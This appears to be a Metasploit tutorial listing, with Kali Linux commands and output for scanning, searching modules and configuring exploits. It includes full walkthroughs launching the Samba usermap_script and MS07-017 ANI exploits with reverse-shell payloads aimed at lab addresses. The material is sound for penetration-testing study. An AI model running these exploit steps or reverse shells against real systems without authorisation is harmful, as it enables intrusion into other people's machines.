//code and output of metasploit-framework

root@kali:~# cd /usr/share/metasploit-framework/

root@kali:/usr/share/metasploit-framework# ls

app Gemfile msfconsole msfupdate scripts

config Gemfile.lock msfd msfvenom tools

data lib msfdb plugins vendor

db metasploit-framework.gemspec msfrpc Rakefile

documentation modules msfrpcd ruby

-------------

// code and output of metasploit-framework library

root@kali:/usr/share/metasploit-framework# cd lib/

root@kali:/usr/share/metasploit-framework/lib# ls

anemone metasploit postgres rbmysql.rb snmp telephony

anemone.rb msf postgres\_msf.rb rex snmp.rb telephony.rb

enumerable.rb msfenv.rb rabal rex.rb sqlmap windows\_console\_color\_support.rb

metasm net rbmysql robots.rb tasks

-------------

// code and output of metasploit-framework modules

root@kali:/usr/share/metasploit-framework# cd modules/

root@kali:/usr/share/metasploit-framework/modules# ls

auxiliary encoders exploits nops payloads post

Penetration testers store their custom modules under the home directory.

//code

root@kali:cd ~/msf4

root@kali:/ls

history local logos logs modules plugins

----------------

// code and output of metasploit-framework exploits

root@kali:~# ls /usr/share/metasploit-framework/modules/exploits/

aix bsdi firefox irix multi solaris

android dialup freebsd linux netware unix

apple\_ios example.rb hpux mainframe osx windows

---------------

// code and output of metasploit-framework auxiliary part of modules

root@kali:~# ls /usr/share/metasploit-framework/modules/auxiliary/

admin client dos gather scanner spoof vsploit

analyze crawler example.rb parser server sqli

bnat docx fuzzers pdf sniffer voip

Payloads, Encoders, Nops

------------------

// code and output of metasploit-framework workspace

msf > workspace

\* default

msf > workspace -a sanjib

[\*] added workspace sanjib

msf > workspace -h

Usage:

workspace List workspaces

workspace -v List workspaces verbosely

workspace [name] Switch workspace

workspace -a [name] ... Add workspace(s)

workspace -d [name] ... Delete workspace(s)

workspace -D Delete all workspaces

workspace -r <old><new> Rename workspace

workspace -h Show this help information

msf > workspace sanjib

[\*] Workspace: sanjib

msf >

----------------

// code and output of using nmap in metasploit-framework

msf > nmap -sV 192.168.2.2

Here goes the output as Metasploit has started working on your Kali Linux terminal.

//output

[\*] exec: nmap -sV 192.168.2.2

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-05 06:18 IST

Nmap scan report for 192.168.2.2

Host is up (0.000093s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Service Info: Host: SS-H81M-S1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.99 seconds

msf >

------------------

//code of using "search" in metaspoilt

msf> search samba

----------------

//the output of search

exploit/multi/samba/usermap\_script

exploit/unix/misc/distcc\_exec 2002-02-01 excellent DistCC Daemon Command Execution

exploit/unix/webapp/citrix\_access\_gateway\_exec 2010-12-21 excellent Citrix Access Gateway Command Exe

-----------------

//code of using "info"

msf > info exploit/multi/samba/usermap\_script

//output

Name: Samba "username map script" Command Execution

Module: exploit/multi/samba/usermap\_script

Platform: Unix

Arch: cmd

Privileged: Yes

License: Metasploit Framework License (BSD)

Rank: Excellent

Disclosed: 2007-05-14

Provided by:

jduck <jduck@metasploit.com>

Available targets:

Id Name

-- ----

0 Automatic

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 139 yes The target port (TCP)

Payload information:

Space: 1024

Description:

This module exploits a command execution vulnerability in Samba

versions 3.0.20 through 3.0.25rc3 when using the non-default

"username map script" configuration option. By specifying a username containing shell metacharacters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

References:

https://cvedetails.com/cve/CVE-2007-2447/

OSVDB (34700)

http://www.securityfocus.com/bid/23972

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534

http://samba.org/samba/security/CVE-2007-2447.html

msf >

----------------------

//code of using the exploit

msf > use exploit/multi/samba/usermap\_script

msf exploit(multi/samba/usermap\_script) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

msf exploit(multi/samba/usermap\_script) > set RHOST xxx.xxx.x.x

RHOST => 192.168.2.2

msf exploit(multi/samba/usermap\_script) > set RPORT 139

RPORT => 139

msf exploit(multi/samba/usermap\_script) > set LHOST xx.x.x.xx

LHOST => 10.0.2.15

msf exploit(multi/samba/usermap\_script) > exploit

---------------------

//pinging guest Windows IP

ping xx.x.x.xx

PING xx.x.x.xx (xx.x.x.xx) 56(84) bytes of data.

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.024ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.029ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.020ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.030ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.028ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.035ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.022ms

64 bytes from xx.x.x.xx icmp\_seq=1 ttl=64 time=0.030ms

^C

… xx.x.x.xx ping statistics …

8 packets transmitting, 8 received, 0% loss, time 204ms

--------------------

//changing IP of Kali Linux

ifconfig eth0 xx.x.x.xx

------------------

//output "?" command

Database Backend Commands

=========================

Command Description

------- -----------

db\_connect Connect to an existing database

db\_disconnect Disconnect from the current database instance

db\_export Export a file containing the contents of the database

db\_import Import a scan result file (filetype will be auto-detected)

db\_nmap Executes nmap and records the output automatically

db\_rebuild\_cache Rebuilds the database-stored module cache

db\_status Show the current database status

hosts List all hosts in the database

loot List all loot in the database

notes List all notes in the database

services List all services in the database

vulns List all vulnerabilities in the database

workspace Switch between database workspaces

-----------------------

//code of database status

msf > db\_status

[\*] postgresql connected to msf

msf >

-------------------

//description of using db\_nmap

db\_nmap Executes nmap and records the output automatically

------------------

//code of using db\_nmap

db\_nmap -A 10.0.2.0/24 --vv

--------------------

//output of using "hosts" command

Hosts

=====

address mac name os\_name os\_flavor os\_sp purpose info comments

------- --- ---- ------- --------- ----- ------- ---- --------

192.168.139.1 00:50:56:c0:00:08 Windows 7 client

192.168.139.2 00:50:56:f8:ef:30 Player device

192.168.139.137

192.168.139.254 00:50:56:FB:98:F8 Windows XP SP2

msf >

-----------------

//the total exploits and payloads

+ -- --=[ 1722 exploits - 986 auxiliary - 300 post ]

+ -- --=[ 507 payloads - 40 encoders - 10 nops

----------------

//code of showing exploits

msf > show exploits

Exploits

========

Name Disclosure Date Rank Description

---- --------------- ---- -----------

aix/local/ibstat\_path 2013-09-24 excellent ibstat $PATH Privilege Escalation

aix/rpc\_cmsd\_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

aix/rpc\_ttdbserverd\_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd \_tt\_internal\_realpath Buffer Overflow (AIX)

android/adb/adb\_server\_exec 2016-01-01 excellent Android ADB Debug Server Remote Payload Execution

android/browser/samsung\_knox\_smdm\_url 2014-11-12 excellent Samsung Galaxy KNOX Android Browser RCE

android/browser/stagefright\_mp4\_tx3g\_64bit 2015-08-13 normal Android Stagefright MP4 tx3g Integer Overflow

android/browser/webview\_addjavascriptinterface 2012-12-21 excellent Android Browser and WebView addJavascriptInterface Code Execution

android/fileformat/adobe\_reader\_pdf\_js\_interface 2014-04-13 good Adobe Reader for Android addJavascriptInterface Exploit

android/local/futex\_requeue 2014-05-03 excellent Android 'Towelroot' Futex Requeue Kernel Exploit

android/local/put\_user\_vroot 2013-09-06 excellent Android get\_user/put\_user Exploit

apple\_ios/browser/safari\_libtiff 2006-08-01 good Apple iOS MobileSafari LibTIFF Buffer Overflow

apple\_ios/email/mobilemail\_libtiff 2006-08-01 good Apple iOS MobileMail LibTIFF Buffer Overflow

apple\_ios/ssh/cydia\_default\_ssh 2007-07-02 excellent Apple iOS Default SSH Password Vulnerability

-------------------------

//using search

msf > search dcom

------------------

// output of dcom

msf > search dcom

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

auxiliary/scanner/telnet/telnet\_ruggedcom normal RuggedCom Telnet Password Generator

exploit/windows/dcerpc/ms03\_026\_dcom 2003-07-16 great MS03-026 Microsoft RPC DCOM Interface Overflow

exploit/windows/smb/ms04\_031\_netdde 2004-10-12 good MS04-031 Microsoft NetDDE Service Overflow

exploit/windows/smb/psexec\_psh 1999-01-01 manual Microsoft Windows Authenticated Powershell Command Execution

---------------------

//searching netapi

msf > search netapi

// output of netapi

msf > search netapi

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/windows/smb/ms03\_049\_netapi 2003-11-11 good MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow

exploit/windows/smb/ms06\_040\_netapi 2006-08-08 good MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow

exploit/windows/smb/ms06\_070\_wkssvc 2006-11-14 manual MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow

exploit/windows/smb/ms08\_067\_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption

-----------------

//searching adduser

msf > search adduser

// output of adduser

msf > search adduser

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

payload/cmd/windows/adduser normal Windows Execute net user /ADD CMD

payload/linux/armle/adduser normal Linux Add User

payload/linux/x86/adduser normal Linux Add User

payload/windows/adduser normal Windows Execute net user /ADD

-------------------

//code and output of showing payloads

msf > show payloads

Payloads

========

Name Disclosure Date Rank Description

---- --------------- ---- -----------

aix/ppc/shell\_bind\_tcp normal AIX Command Shell, Bind TCP Inline

aix/ppc/shell\_find\_port normal AIX Command Shell, Find Port Inline

aix/ppc/shell\_interact normal AIX execve Shell for inetd

aix/ppc/shell\_reverse\_tcp normal AIX Command Shell, Reverse TCP Inline

android/meterpreter/reverse\_http normal Android Meterpreter, Android Reverse HTTP Stager

android/meterpreter/reverse\_https normal Android Meterpreter, Android Reverse HTTPS Stager

android/meterpreter/reverse\_tcp normal Android Meterpreter, Android Reverse TCP Stager

android/meterpreter\_reverse\_http normal Android Meterpreter Shell, Reverse HTTP Inline

android/meterpreter\_reverse\_https normal Android Meterpreter Shell, Reverse HTTPS Inline

android/meterpreter\_reverse\_tcp normal Android Meterpreter Shell, Reverse TCP Inline

…

// I have cut it short, as this is a very long list.

-------------------------

//code of searching specific exploit

msf > search chunksize

-------------------

//the search result

windows/browser/ms07\_017\_ani\_loadimage\_chunksize 2007-03-28 great Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)

windows/browser/ms08\_041\_snapshotviewer 2008-07-07 excellent Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download

windows/browser/ms08\_053\_mediaencoder 2008-09-09 normal Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

windows/browser/ms08\_070\_visual\_studio\_msmask 2008-08-13 normal Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow

---------------------

//code of using exploit

msf > use exploit/windows/browser/ms07\_017\_ani\_loadimage\_chunksize

----------------

//code of showing options for that exploit

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > show options

Module options (exploit/windows/browser/ms07\_017\_ani\_loadimage\_chunksize):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH / yes The URI to use.

Exploit target:

Id Name

-- ----

0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) >

----------------------

//code and output of shwoing targets

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > show targets

Exploit targets:

Id Name

-- ----

0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

1 IE6 on Windows NT, 2000, XP, 2003 (all languages)

2 IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)

3 IE7 and Firefox on Windows Vista (all languages)

4 Firefox on Windows XP (English)

5 Firefox on Windows 2003 (English)

--------------------

//code of showing payloads

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > show payloads

Compatible Payloads

===================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

generic/custom normal Custom Payload

generic/debug\_trap normal Generic x86 Debug Trap

generic/shell\_bind\_tcp normal Generic Command Shell, Bind TCP Inline

generic/shell\_reverse\_tcp normal Generic Command Shell, Reverse TCP Inline

generic/tight\_loop normal Generic x86 Tight Loop

windows/dllinject/bind\_hidden\_ipknock\_tcp normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

windows/dllinject/bind\_hidden\_tcp normal Reflective DLL Injection, Hidden Bind TCP Stager

windows/dllinject/bind\_ipv6\_tcp normal Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

windows/dllinject/bind\_ipv6\_tcp\_uuid normal Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)

windows/dllinject/bind\_nonx\_tcp normal Reflective DLL Injection, Bind TCP Stager

----------------------

//code of setting payload

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > set PAYLOAD windows/shell\_reverse\_tcp

PAYLOAD => windows/shell\_reverse\_tcp

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > show options

--------------------

//output of showing options

Module options (exploit/windows/browser/ms07\_017\_ani\_loadimage\_chunksize):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH / yes The URI to use.

Payload options (windows/shell\_reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 (Automatic) IE6, IE7, and Firefox on Windows NT, 2000, XP, 2003 and Vista

----------------------

//code of setting localhost and showing options

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > set LHOST 10.0.2.15

LHOST => 10.0.2.15

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > show options

----------------

//output of show-options

Module options (exploit/windows/browser/ms07\_017\_ani\_loadimage\_chunksize):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH / yes The URI to use.

Payload options (windows/shell\_reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 10.0.2.15 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

// Now the LHOST is set and we can safely issue the final command exploit.

//code and output of final exploit command

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > exploit

[\*] Exploit running as background job 0.

[\*] Started reverse TCP handler on 10.0.2.15:4444

msf exploit(windows/browser/ms07\_017\_ani\_loadimage\_chunksize) > [\*] Using URL: http://0.0.0.0:80/

[\*] Local IP: http://10.0.2.15:80/

[\*] Server started.

--------------